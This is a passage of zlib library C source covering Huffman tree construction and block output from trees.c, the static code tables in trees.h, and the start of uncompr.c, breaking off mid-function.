        tree[n].Dad = tree[m].Dad = (ush)node;

#ifdef DUMP_BL_TREE

        if (tree == s->bl_tree) {

            fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)",

                    node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq);

        }

#endif

        /* and insert the new node in the heap */

        s->heap[SMALLEST] = node++;

        pqdownheap(s, tree, SMALLEST);



    } while (s->heap_len >= 2);



    s->heap[--(s->heap_max)] = s->heap[SMALLEST];



    /* At this point, the fields freq and dad are set. We can now

     * generate the bit lengths.

     */

    gen_bitlen(s, (tree_desc *)desc);



    /* The field len is now set, we can generate the bit codes */

    gen_codes ((ct_data *)tree, max_code, s->bl_count);

}



/* ===========================================================================

 * Scan a literal or distance tree to determine the frequencies of the codes

 * in the bit length tree.

 */

local void scan_tree (s, tree, max_code)

    deflate_state *s;

    ct_data *tree;   /* the tree to be scanned */

    int max_code;    /* and its largest code of non zero frequency */

{

    int n;                     /* iterates over all tree elements */

    int prevlen = -1;          /* last emitted length */

    int curlen;                /* length of current code */

    int nextlen = tree[0].Len; /* length of next code */

    int count = 0;             /* repeat count of the current code */

    int max_count = 7;         /* max repeat count */

    int min_count = 4;         /* min repeat count */



    if (nextlen == 0) max_count = 138, min_count = 3;

    tree[max_code+1].Len = (ush)0xffff; /* guard */



    for (n = 0; n <= max_code; n++) {

        curlen = nextlen; nextlen = tree[n+1].Len;

        if (++count < max_count && curlen == nextlen) {

            continue;

        } else if (count < min_count) {

            s->bl_tree[curlen].Freq += count;

        } else if (curlen != 0) {

            if (curlen != prevlen) s->bl_tree[curlen].Freq++;

            s->bl_tree[REP_3_6].Freq++;

        } else if (count <= 10) {

            s->bl_tree[REPZ_3_10].Freq++;

        } else {

            s->bl_tree[REPZ_11_138].Freq++;

        }

        count = 0; prevlen = curlen;

        if (nextlen == 0) {

            max_count = 138, min_count = 3;

        } else if (curlen == nextlen) {

            max_count = 6, min_count = 3;

        } else {

            max_count = 7, min_count = 4;

        }

    }

}



/* ===========================================================================

 * Send a literal or distance tree in compressed form, using the codes in

 * bl_tree.

 */

local void send_tree (s, tree, max_code)

    deflate_state *s;

    ct_data *tree; /* the tree to be scanned */

    int max_code;       /* and its largest code of non zero frequency */

{

    int n;                     /* iterates over all tree elements */

    int prevlen = -1;          /* last emitted length */

    int curlen;                /* length of current code */

    int nextlen = tree[0].Len; /* length of next code */

    int count = 0;             /* repeat count of the current code */

    int max_count = 7;         /* max repeat count */

    int min_count = 4;         /* min repeat count */



    /* tree[max_code+1].Len = -1; */  /* guard already set */

    if (nextlen == 0) max_count = 138, min_count = 3;



    for (n = 0; n <= max_code; n++) {

        curlen = nextlen; nextlen = tree[n+1].Len;

        if (++count < max_count && curlen == nextlen) {

            continue;

        } else if (count < min_count) {

            do { send_code(s, curlen, s->bl_tree); } while (--count != 0);



        } else if (curlen != 0) {

            if (curlen != prevlen) {

                send_code(s, curlen, s->bl_tree); count--;

            }

            Assert(count >= 3 && count <= 6, " 3_6?");

            send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2);



        } else if (count <= 10) {

            send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3);



        } else {

            send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7);

        }

        count = 0; prevlen = curlen;

        if (nextlen == 0) {

            max_count = 138, min_count = 3;

        } else if (curlen == nextlen) {

            max_count = 6, min_count = 3;

        } else {

            max_count = 7, min_count = 4;

        }

    }

}



/* ===========================================================================

 * Construct the Huffman tree for the bit lengths and return the index in

 * bl_order of the last bit length code to send.

 */

local int build_bl_tree(s)

    deflate_state *s;

{

    int max_blindex;  /* index of last bit length code of non zero freq */



    /* Determine the bit length frequencies for literal and distance trees */

    scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code);

    scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code);



    /* Build the bit length tree: */

    build_tree(s, (tree_desc *)(&(s->bl_desc)));

    /* opt_len now includes the length of the tree representations, except

     * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.

     */



    /* Determine the number of bit length codes to send. The pkzip format

     * requires that at least 4 bit length codes be sent. (appnote.txt says

     * 3 but the actual value used is 4.)

     */

    for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) {

        if (s->bl_tree[bl_order[max_blindex]].Len != 0) break;

    }

    /* Update opt_len to include the bit length tree and counts */

    s->opt_len += 3*(max_blindex+1) + 5+5+4;

    Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld",

            s->opt_len, s->static_len));



    return max_blindex;

}



/* ===========================================================================

 * Send the header for a block using dynamic Huffman trees: the counts, the

 * lengths of the bit length codes, the literal tree and the distance tree.

 * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.

 */

local void send_all_trees(s, lcodes, dcodes, blcodes)

    deflate_state *s;

    int lcodes, dcodes, blcodes; /* number of codes for each tree */

{

    int rank;                    /* index in bl_order */



    Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");

    Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,

            "too many codes");

    Tracev((stderr, "\nbl counts: "));

    send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */

    send_bits(s, dcodes-1,   5);

    send_bits(s, blcodes-4,  4); /* not -3 as stated in appnote.txt */

    for (rank = 0; rank < blcodes; rank++) {

        Tracev((stderr, "\nbl code %2d ", bl_order[rank]));

        send_bits(s, s->bl_tree[bl_order[rank]].Len, 3);

    }

    Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent));



    send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */

    Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent));



    send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */

    Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent));

}



/* ===========================================================================

 * Send a stored block

 */

void _tr_stored_block(s, buf, stored_len, eof)

    deflate_state *s;

    charf *buf;       /* input block */

    ulg stored_len;   /* length of input block */

    int eof;          /* true if this is the last block for a file */

{

    send_bits(s, (STORED_BLOCK<<1)+eof, 3);  /* send block type */

#ifdef DEBUG

    s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L;

    s->compressed_len += (stored_len + 4) << 3;

#endif

    copy_block(s, buf, (unsigned)stored_len, 1); /* with header */

}



/* ===========================================================================

 * Send one empty static block to give enough lookahead for inflate.

 * This takes 10 bits, of which 7 may remain in the bit buffer.

 * The current inflate code requires 9 bits of lookahead. If the

 * last two codes for the previous block (real code plus EOB) were coded

 * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode

 * the last real code. In this case we send two empty static blocks instead

 * of one. (There are no problems if the previous block is stored or fixed.)

 * To simplify the code, we assume the worst case of last real code encoded

 * on one bit only.

 */

void _tr_align(s)

    deflate_state *s;

{

    send_bits(s, STATIC_TREES<<1, 3);

    send_code(s, END_BLOCK, static_ltree);

#ifdef DEBUG

    s->compressed_len += 10L; /* 3 for block type, 7 for EOB */

#endif

    bi_flush(s);

    /* Of the 10 bits for the empty block, we have already sent

     * (10 - bi_valid) bits. The lookahead for the last real code (before

     * the EOB of the previous block) was thus at least one plus the length

     * of the EOB plus what we have just sent of the empty static block.

     */

    if (1 + s->last_eob_len + 10 - s->bi_valid < 9) {

        send_bits(s, STATIC_TREES<<1, 3);

        send_code(s, END_BLOCK, static_ltree);

#ifdef DEBUG

        s->compressed_len += 10L;

#endif

        bi_flush(s);

    }

    s->last_eob_len = 7;

}



/* ===========================================================================

 * Determine the best encoding for the current block: dynamic trees, static

 * trees or store, and output the encoded block to the zip file.

 */

void _tr_flush_block(s, buf, stored_len, eof)

    deflate_state *s;

    charf *buf;       /* input block, or NULL if too old */

    ulg stored_len;   /* length of input block */

    int eof;          /* true if this is the last block for a file */

{

    ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */

    int max_blindex = 0;  /* index of last bit length code of non zero freq */



    /* Build the Huffman trees unless a stored block is forced */

    if (s->level > 0) {



	 /* Check if the file is ascii or binary */

	if (s->data_type == Z_UNKNOWN) set_data_type(s);



	/* Construct the literal and distance trees */

	build_tree(s, (tree_desc *)(&(s->l_desc)));

	Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len,

		s->static_len));



	build_tree(s, (tree_desc *)(&(s->d_desc)));

	Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len,

		s->static_len));

	/* At this point, opt_len and static_len are the total bit lengths of

	 * the compressed block data, excluding the tree representations.

	 */



	/* Build the bit length tree for the above two trees, and get the index

	 * in bl_order of the last bit length code to send.

	 */

	max_blindex = build_bl_tree(s);



	/* Determine the best encoding. Compute first the block length in bytes*/

	opt_lenb = (s->opt_len+3+7)>>3;

	static_lenb = (s->static_len+3+7)>>3;



	Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ",

		opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,

		s->last_lit));



	if (static_lenb <= opt_lenb) opt_lenb = static_lenb;



    } else {

        Assert(buf != (char*)0, "lost buf");

	opt_lenb = static_lenb = stored_len + 5; /* force a stored block */

    }



#ifdef FORCE_STORED

    if (buf != (char*)0) { /* force stored block */

#else

    if (stored_len+4 <= opt_lenb && buf != (char*)0) {

                       /* 4: two words for the lengths */

#endif

        /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.

         * Otherwise we can't have processed more than WSIZE input bytes since

         * the last block flush, because compression would have been

         * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to

         * transform a block into a stored block.

         */

        _tr_stored_block(s, buf, stored_len, eof);



#ifdef FORCE_STATIC

    } else if (static_lenb >= 0) { /* force static trees */

#else

    } else if (static_lenb == opt_lenb) {

#endif

        send_bits(s, (STATIC_TREES<<1)+eof, 3);

        compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree);

#ifdef DEBUG

        s->compressed_len += 3 + s->static_len;

#endif

    } else {

        send_bits(s, (DYN_TREES<<1)+eof, 3);

        send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1,

                       max_blindex+1);

        compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree);

#ifdef DEBUG

        s->compressed_len += 3 + s->opt_len;

#endif

    }

    Assert (s->compressed_len == s->bits_sent, "bad compressed size");

    /* The above check is made mod 2^32, for files larger than 512 MB

     * and uLong implemented on 32 bits.

     */

    init_block(s);



    if (eof) {

        bi_windup(s);

#ifdef DEBUG

        s->compressed_len += 7;  /* align on byte boundary */

#endif

    }

    Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3,

           s->compressed_len-7*eof));

}



/* ===========================================================================

 * Save the match info and tally the frequency counts. Return true if

 * the current block must be flushed.

 */

int _tr_tally (s, dist, lc)

    deflate_state *s;

    unsigned dist;  /* distance of matched string */

    unsigned lc;    /* match length-MIN_MATCH or unmatched char (if dist==0) */

{

    s->d_buf[s->last_lit] = (ush)dist;

    s->l_buf[s->last_lit++] = (uch)lc;

    if (dist == 0) {

        /* lc is the unmatched char */

        s->dyn_ltree[lc].Freq++;

    } else {

        s->matches++;

        /* Here, lc is the match length - MIN_MATCH */

        dist--;             /* dist = match distance - 1 */

        Assert((ush)dist < (ush)MAX_DIST(s) &&

               (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&

               (ush)d_code(dist) < (ush)D_CODES,  "_tr_tally: bad match");



        s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++;

        s->dyn_dtree[d_code(dist)].Freq++;

    }



#ifdef TRUNCATE_BLOCK

    /* Try to guess if it is profitable to stop the current block here */

    if ((s->last_lit & 0x1fff) == 0 && s->level > 2) {

        /* Compute an upper bound for the compressed length */

        ulg out_length = (ulg)s->last_lit*8L;

        ulg in_length = (ulg)((long)s->strstart - s->block_start);

        int dcode;

        for (dcode = 0; dcode < D_CODES; dcode++) {

            out_length += (ulg)s->dyn_dtree[dcode].Freq *

                (5L+extra_dbits[dcode]);

        }

        out_length >>= 3;

        Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ",

               s->last_lit, in_length, out_length,

               100L - out_length*100L/in_length));

        if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1;

    }

#endif

    return (s->last_lit == s->lit_bufsize-1);

    /* We avoid equality with lit_bufsize because of wraparound at 64K

     * on 16 bit machines and because stored blocks are restricted to

     * 64K-1 bytes.

     */

}



/* ===========================================================================

 * Send the block data compressed using the given Huffman trees

 */

local void compress_block(s, ltree, dtree)

    deflate_state *s;

    ct_data *ltree; /* literal tree */

    ct_data *dtree; /* distance tree */

{

    unsigned dist;      /* distance of matched string */

    int lc;             /* match length or unmatched char (if dist == 0) */

    unsigned lx = 0;    /* running index in l_buf */

    unsigned code;      /* the code to send */

    int extra;          /* number of extra bits to send */



    if (s->last_lit != 0) do {

        dist = s->d_buf[lx];

        lc = s->l_buf[lx++];

        if (dist == 0) {

            send_code(s, lc, ltree); /* send a literal byte */

            Tracecv(isgraph(lc), (stderr," '%c' ", lc));

        } else {

            /* Here, lc is the match length - MIN_MATCH */

            code = _length_code[lc];

            send_code(s, code+LITERALS+1, ltree); /* send the length code */

            extra = extra_lbits[code];

            if (extra != 0) {

                lc -= base_length[code];

                send_bits(s, lc, extra);       /* send the extra length bits */

            }

            dist--; /* dist is now the match distance - 1 */

            code = d_code(dist);

            Assert (code < D_CODES, "bad d_code");



            send_code(s, code, dtree);       /* send the distance code */

            extra = extra_dbits[code];

            if (extra != 0) {

                dist -= base_dist[code];

                send_bits(s, dist, extra);   /* send the extra distance bits */

            }

        } /* literal or match pair ? */



        /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */

        Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow");



    } while (lx < s->last_lit);



    send_code(s, END_BLOCK, ltree);

    s->last_eob_len = ltree[END_BLOCK].Len;

}



/* ===========================================================================

 * Set the data type to ASCII or BINARY, using a crude approximation:

 * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise.

 * IN assertion: the fields freq of dyn_ltree are set and the total of all

 * frequencies does not exceed 64K (to fit in an int on 16 bit machines).

 */

local void set_data_type(s)

    deflate_state *s;

{

    int n = 0;

    unsigned ascii_freq = 0;

    unsigned bin_freq = 0;

    while (n < 7)        bin_freq += s->dyn_ltree[n++].Freq;

    while (n < 128)    ascii_freq += s->dyn_ltree[n++].Freq;

    while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq;

    s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII);

}



/* ===========================================================================

 * Reverse the first len bits of a code, using straightforward code (a faster

 * method would use a table)

 * IN assertion: 1 <= len <= 15

 */

local unsigned bi_reverse(code, len)

    unsigned code; /* the value to invert */

    int len;       /* its bit length */

{

    register unsigned res = 0;

    do {

        res |= code & 1;

        code >>= 1, res <<= 1;

    } while (--len > 0);

    return res >> 1;

}



/* ===========================================================================

 * Flush the bit buffer, keeping at most 7 bits in it.

 */

local void bi_flush(s)

    deflate_state *s;

{

    if (s->bi_valid == 16) {

        put_short(s, s->bi_buf);

        s->bi_buf = 0;

        s->bi_valid = 0;

    } else if (s->bi_valid >= 8) {

        put_byte(s, (Byte)s->bi_buf);

        s->bi_buf >>= 8;

        s->bi_valid -= 8;

    }

}



/* ===========================================================================

 * Flush the bit buffer and align the output on a byte boundary

 */

local void bi_windup(s)

    deflate_state *s;

{

    if (s->bi_valid > 8) {

        put_short(s, s->bi_buf);

    } else if (s->bi_valid > 0) {

        put_byte(s, (Byte)s->bi_buf);

    }

    s->bi_buf = 0;

    s->bi_valid = 0;

#ifdef DEBUG

    s->bits_sent = (s->bits_sent+7) & ~7;

#endif

}



/* ===========================================================================

 * Copy a stored block, storing first the length and its

 * one's complement if requested.

 */

local void copy_block(s, buf, len, header)

    deflate_state *s;

    charf    *buf;    /* the input data */

    unsigned len;     /* its length */

    int      header;  /* true if block header must be written */

{

    bi_windup(s);        /* align on byte boundary */

    s->last_eob_len = 8; /* enough lookahead for inflate */



    if (header) {

        put_short(s, (ush)len);   

        put_short(s, (ush)~len);

#ifdef DEBUG

        s->bits_sent += 2*16;

#endif

    }

#ifdef DEBUG

    s->bits_sent += (ulg)len<<3;

#endif

    while (len--) {

        put_byte(s, *buf++);

    }

}









源码/Zip/trees.h

/* header created automatically with -DGEN_TREES_H */



local const ct_data static_ltree[L_CODES+2] = {

{{ 12},{  8}}, {{140},{  8}}, {{ 76},{  8}}, {{204},{  8}}, {{ 44},{  8}},

{{172},{  8}}, {{108},{  8}}, {{236},{  8}}, {{ 28},{  8}}, {{156},{  8}},

{{ 92},{  8}}, {{220},{  8}}, {{ 60},{  8}}, {{188},{  8}}, {{124},{  8}},

{{252},{  8}}, {{  2},{  8}}, {{130},{  8}}, {{ 66},{  8}}, {{194},{  8}},

{{ 34},{  8}}, {{162},{  8}}, {{ 98},{  8}}, {{226},{  8}}, {{ 18},{  8}},

{{146},{  8}}, {{ 82},{  8}}, {{210},{  8}}, {{ 50},{  8}}, {{178},{  8}},

{{114},{  8}}, {{242},{  8}}, {{ 10},{  8}}, {{138},{  8}}, {{ 74},{  8}},

{{202},{  8}}, {{ 42},{  8}}, {{170},{  8}}, {{106},{  8}}, {{234},{  8}},

{{ 26},{  8}}, {{154},{  8}}, {{ 90},{  8}}, {{218},{  8}}, {{ 58},{  8}},

{{186},{  8}}, {{122},{  8}}, {{250},{  8}}, {{  6},{  8}}, {{134},{  8}},

{{ 70},{  8}}, {{198},{  8}}, {{ 38},{  8}}, {{166},{  8}}, {{102},{  8}},

{{230},{  8}}, {{ 22},{  8}}, {{150},{  8}}, {{ 86},{  8}}, {{214},{  8}},

{{ 54},{  8}}, {{182},{  8}}, {{118},{  8}}, {{246},{  8}}, {{ 14},{  8}},

{{142},{  8}}, {{ 78},{  8}}, {{206},{  8}}, {{ 46},{  8}}, {{174},{  8}},

{{110},{  8}}, {{238},{  8}}, {{ 30},{  8}}, {{158},{  8}}, {{ 94},{  8}},

{{222},{  8}}, {{ 62},{  8}}, {{190},{  8}}, {{126},{  8}}, {{254},{  8}},

{{  1},{  8}}, {{129},{  8}}, {{ 65},{  8}}, {{193},{  8}}, {{ 33},{  8}},

{{161},{  8}}, {{ 97},{  8}}, {{225},{  8}}, {{ 17},{  8}}, {{145},{  8}},

{{ 81},{  8}}, {{209},{  8}}, {{ 49},{  8}}, {{177},{  8}}, {{113},{  8}},

{{241},{  8}}, {{  9},{  8}}, {{137},{  8}}, {{ 73},{  8}}, {{201},{  8}},

{{ 41},{  8}}, {{169},{  8}}, {{105},{  8}}, {{233},{  8}}, {{ 25},{  8}},

{{153},{  8}}, {{ 89},{  8}}, {{217},{  8}}, {{ 57},{  8}}, {{185},{  8}},

{{121},{  8}}, {{249},{  8}}, {{  5},{  8}}, {{133},{  8}}, {{ 69},{  8}},

{{197},{  8}}, {{ 37},{  8}}, {{165},{  8}}, {{101},{  8}}, {{229},{  8}},

{{ 21},{  8}}, {{149},{  8}}, {{ 85},{  8}}, {{213},{  8}}, {{ 53},{  8}},

{{181},{  8}}, {{117},{  8}}, {{245},{  8}}, {{ 13},{  8}}, {{141},{  8}},

{{ 77},{  8}}, {{205},{  8}}, {{ 45},{  8}}, {{173},{  8}}, {{109},{  8}},

{{237},{  8}}, {{ 29},{  8}}, {{157},{  8}}, {{ 93},{  8}}, {{221},{  8}},

{{ 61},{  8}}, {{189},{  8}}, {{125},{  8}}, {{253},{  8}}, {{ 19},{  9}},

{{275},{  9}}, {{147},{  9}}, {{403},{  9}}, {{ 83},{  9}}, {{339},{  9}},

{{211},{  9}}, {{467},{  9}}, {{ 51},{  9}}, {{307},{  9}}, {{179},{  9}},

{{435},{  9}}, {{115},{  9}}, {{371},{  9}}, {{243},{  9}}, {{499},{  9}},

{{ 11},{  9}}, {{267},{  9}}, {{139},{  9}}, {{395},{  9}}, {{ 75},{  9}},

{{331},{  9}}, {{203},{  9}}, {{459},{  9}}, {{ 43},{  9}}, {{299},{  9}},

{{171},{  9}}, {{427},{  9}}, {{107},{  9}}, {{363},{  9}}, {{235},{  9}},

{{491},{  9}}, {{ 27},{  9}}, {{283},{  9}}, {{155},{  9}}, {{411},{  9}},

{{ 91},{  9}}, {{347},{  9}}, {{219},{  9}}, {{475},{  9}}, {{ 59},{  9}},

{{315},{  9}}, {{187},{  9}}, {{443},{  9}}, {{123},{  9}}, {{379},{  9}},

{{251},{  9}}, {{507},{  9}}, {{  7},{  9}}, {{263},{  9}}, {{135},{  9}},

{{391},{  9}}, {{ 71},{  9}}, {{327},{  9}}, {{199},{  9}}, {{455},{  9}},

{{ 39},{  9}}, {{295},{  9}}, {{167},{  9}}, {{423},{  9}}, {{103},{  9}},

{{359},{  9}}, {{231},{  9}}, {{487},{  9}}, {{ 23},{  9}}, {{279},{  9}},

{{151},{  9}}, {{407},{  9}}, {{ 87},{  9}}, {{343},{  9}}, {{215},{  9}},

{{471},{  9}}, {{ 55},{  9}}, {{311},{  9}}, {{183},{  9}}, {{439},{  9}},

{{119},{  9}}, {{375},{  9}}, {{247},{  9}}, {{503},{  9}}, {{ 15},{  9}},

{{271},{  9}}, {{143},{  9}}, {{399},{  9}}, {{ 79},{  9}}, {{335},{  9}},

{{207},{  9}}, {{463},{  9}}, {{ 47},{  9}}, {{303},{  9}}, {{175},{  9}},

{{431},{  9}}, {{111},{  9}}, {{367},{  9}}, {{239},{  9}}, {{495},{  9}},

{{ 31},{  9}}, {{287},{  9}}, {{159},{  9}}, {{415},{  9}}, {{ 95},{  9}},

{{351},{  9}}, {{223},{  9}}, {{479},{  9}}, {{ 63},{  9}}, {{319},{  9}},

{{191},{  9}}, {{447},{  9}}, {{127},{  9}}, {{383},{  9}}, {{255},{  9}},

{{511},{  9}}, {{  0},{  7}}, {{ 64},{  7}}, {{ 32},{  7}}, {{ 96},{  7}},

{{ 16},{  7}}, {{ 80},{  7}}, {{ 48},{  7}}, {{112},{  7}}, {{  8},{  7}},

{{ 72},{  7}}, {{ 40},{  7}}, {{104},{  7}}, {{ 24},{  7}}, {{ 88},{  7}},

{{ 56},{  7}}, {{120},{  7}}, {{  4},{  7}}, {{ 68},{  7}}, {{ 36},{  7}},

{{100},{  7}}, {{ 20},{  7}}, {{ 84},{  7}}, {{ 52},{  7}}, {{116},{  7}},

{{  3},{  8}}, {{131},{  8}}, {{ 67},{  8}}, {{195},{  8}}, {{ 35},{  8}},

{{163},{  8}}, {{ 99},{  8}}, {{227},{  8}}

};



local const ct_data static_dtree[D_CODES] = {

{{ 0},{ 5}}, {{16},{ 5}}, {{ 8},{ 5}}, {{24},{ 5}}, {{ 4},{ 5}},

{{20},{ 5}}, {{12},{ 5}}, {{28},{ 5}}, {{ 2},{ 5}}, {{18},{ 5}},

{{10},{ 5}}, {{26},{ 5}}, {{ 6},{ 5}}, {{22},{ 5}}, {{14},{ 5}},

{{30},{ 5}}, {{ 1},{ 5}}, {{17},{ 5}}, {{ 9},{ 5}}, {{25},{ 5}},

{{ 5},{ 5}}, {{21},{ 5}}, {{13},{ 5}}, {{29},{ 5}}, {{ 3},{ 5}},

{{19},{ 5}}, {{11},{ 5}}, {{27},{ 5}}, {{ 7},{ 5}}, {{23},{ 5}}

};



const uch _dist_code[DIST_CODE_LEN] = {

 0,  1,  2,  3,  4,  4,  5,  5,  6,  6,  6,  6,  7,  7,  7,  7,  8,  8,  8,  8,

 8,  8,  8,  8,  9,  9,  9,  9,  9,  9,  9,  9, 10, 10, 10, 10, 10, 10, 10, 10,

10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,

11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,

12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13,

13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,

13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,

14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,

14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,

14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15,

15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,

15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,

15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,  0,  0, 16, 17,

18, 18, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22,

23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,

24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,

26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,

26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27,

27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,

27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,

28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,

28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,

28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,

29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,

29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,

29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29

};



const uch _length_code[MAX_MATCH-MIN_MATCH+1]= {

 0,  1,  2,  3,  4,  5,  6,  7,  8,  8,  9,  9, 10, 10, 11, 11, 12, 12, 12, 12,

13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16,

17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19,

19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20,

21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22,

22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23,

23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,

24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,

25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,

25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26,

26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,

26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,

27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28

};



local const int base_length[LENGTH_CODES] = {

0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 14, 16, 20, 24, 28, 32, 40, 48, 56,

64, 80, 96, 112, 128, 160, 192, 224, 0

};



local const int base_dist[D_CODES] = {

    0,     1,     2,     3,     4,     6,     8,    12,    16,    24,

   32,    48,    64,    96,   128,   192,   256,   384,   512,   768,

 1024,  1536,  2048,  3072,  4096,  6144,  8192, 12288, 16384, 24576

};











源码/Zip/uncompr.c

/* uncompr.c -- decompress a memory buffer

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#include "zlib.h"



/* ===========================================================================

     Decompresses the source buffer into the destination buffer.  sourceLen is

   the byte length of the source buffer. Upon entry, destLen is the total

   size of the destination buffer, which must be large enough to hold the

   entire uncompressed data. (The size of the uncompressed data must have

   been saved previously by the compressor and transmitted to the decompressor

   by some mechanism outside the scope of this compression library.)

   Upon exit, destLen is the actual size of the compressed buffer.

     This function can be used to decompress a whole file at once if the

   input file is mmap'ed.



     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not

   enough memory, Z_BUF_ERROR if there was not enough room in the output

   buffer, or Z_DATA_ERROR if the input data was corrupted.

*/

int ZEXPORT uncompress (dest, destLen, source, sourceLen)

    Bytef *dest;

    uLongf *destLen;

    const Bytef *source;

    uLong sourceLen;

{

    z_stream stream;

    int err;



    stream.next_in = (Bytef*)source;

    stream.avail_in = (uInt)sourceLen;

    /* Check for source > 64K on 16-bit machine: */

    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;



    stream.next_out = dest;

    stream.avail_out = (uInt)*destLen;

